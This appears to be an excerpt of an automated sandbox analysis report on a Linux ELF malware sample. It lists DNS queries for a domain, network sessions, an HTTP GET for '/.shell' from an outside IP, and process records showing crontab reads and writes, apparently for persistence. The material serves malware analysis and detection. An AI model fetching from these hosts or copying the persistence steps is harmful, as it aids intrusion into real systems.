                Mar 16, 2025 01:45:11.735719919 CET4434842237.44.238.92192.168.2.13
                Mar 16, 2025 01:45:11.735821009 CET48422443192.168.2.1337.44.238.92
                TimestampSource PortDest PortSource IPDest IP
                Mar 16, 2025 01:43:48.255882025 CET3308753192.168.2.138.8.8.8
                Mar 16, 2025 01:43:48.269155025 CET53330878.8.8.8192.168.2.13

                DNS Queries

                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                Mar 16, 2025 01:43:48.255882025 CET192.168.2.138.8.8.80xb887Standard query (0)conn.masjesu.zipA (IP address)IN (0x0001)false

                DNS Answers

                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                Mar 16, 2025 01:43:48.269155025 CET8.8.8.8192.168.2.130xb887No error (0)conn.masjesu.zip77.90.153.218A (IP address)IN (0x0001)false
                Mar 16, 2025 01:43:48.269155025 CET8.8.8.8192.168.2.130xb887No error (0)conn.masjesu.zip37.44.238.92A (IP address)IN (0x0001)false

                HTTP Request Dependency Graph

                • 37.44.238.92

                HTTP Packets

                Session IDSource IPSource PortDestination IPDestination Port
                0192.168.2.134948637.44.238.9280
                TimestampBytes transferredDirectionData
                Mar 16, 2025 01:43:48.282210112 CET75OUTGET /.shell HTTP/1.1
                Host: 37.44.238.92
                Connection: close


                System Behavior

                General

                Start time (UTC):00:43:46
                Start date (UTC):16/03/2025
                Path:/tmp/l7vmra.elf
                Arguments:/tmp/l7vmra.elf
                File size:4956856 bytes
                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                File Activities

                Process Activities

                System Activities


                General

                Start time (UTC):00:43:46
                Start date (UTC):16/03/2025
                Path:/tmp/l7vmra.elf
                Arguments:-
                File size:4956856 bytes
                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                File Activities

                Process Activities


                General

                Start time (UTC):00:43:46
                Start date (UTC):16/03/2025
                Path:/tmp/l7vmra.elf
                Arguments:-
                File size:4956856 bytes
                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                Process Activities


                General

                Start time (UTC):00:43:46
                Start date (UTC):16/03/2025
                Path:/bin/sh
                Arguments:sh -c "crontab -l"
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                File Activities

                Process Activities


                General

                Start time (UTC):00:43:46
                Start date (UTC):16/03/2025
                Path:/bin/sh
                Arguments:-
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                Process Activities


                General

                Start time (UTC):00:43:46
                Start date (UTC):16/03/2025
                Path:/usr/bin/crontab
                Arguments:crontab -l
                File size:43720 bytes
                MD5 hash:66e521d421ac9b407699061bf21806f5

                File Activities

                Network Activities


                General

                Start time (UTC):00:43:46
                Start date (UTC):16/03/2025
                Path:/tmp/l7vmra.elf
                Arguments:-
                File size:4956856 bytes
                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                Process Activities


                General

                Start time (UTC):00:43:46
                Start date (UTC):16/03/2025
                Path:/bin/sh
                Arguments:sh -c "crontab -"
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                File Activities

                Process Activities


                General

                Start time (UTC):00:43:46
                Start date (UTC):16/03/2025
                Path:/bin/sh
                Arguments:-
                File size:129816 bytes
                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                Process Activities


                General

                Start time (UTC):00:43:46
                Start date (UTC):16/03/2025
                Path:/usr/bin/crontab
                Arguments:crontab -
                File size:43720 bytes
                MD5 hash:66e521d421ac9b407699061bf21806f5

                File Activities

                Network Activities


                General

                Start time (UTC):00:43:47
                Start date (UTC):16/03/2025
                Path:/tmp/l7vmra.elf
                Arguments:-
                File size:4956856 bytes
                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                File Activities

                Process Activities

                System Activities

                Network Activities


                General

                Start time (UTC):00:43:47
                Start date (UTC):16/03/2025
                Path:/tmp/l7vmra.elf
                Arguments:-
                File size:4956856 bytes
                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                File Activities

                Process Activities


                General

                Start time (UTC):00:43:47
                Start date (UTC):16/03/2025
                Path:/tmp/l7vmra.elf
                Arguments:-
                File size:4956856 bytes
                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                File Activities

                Process Activities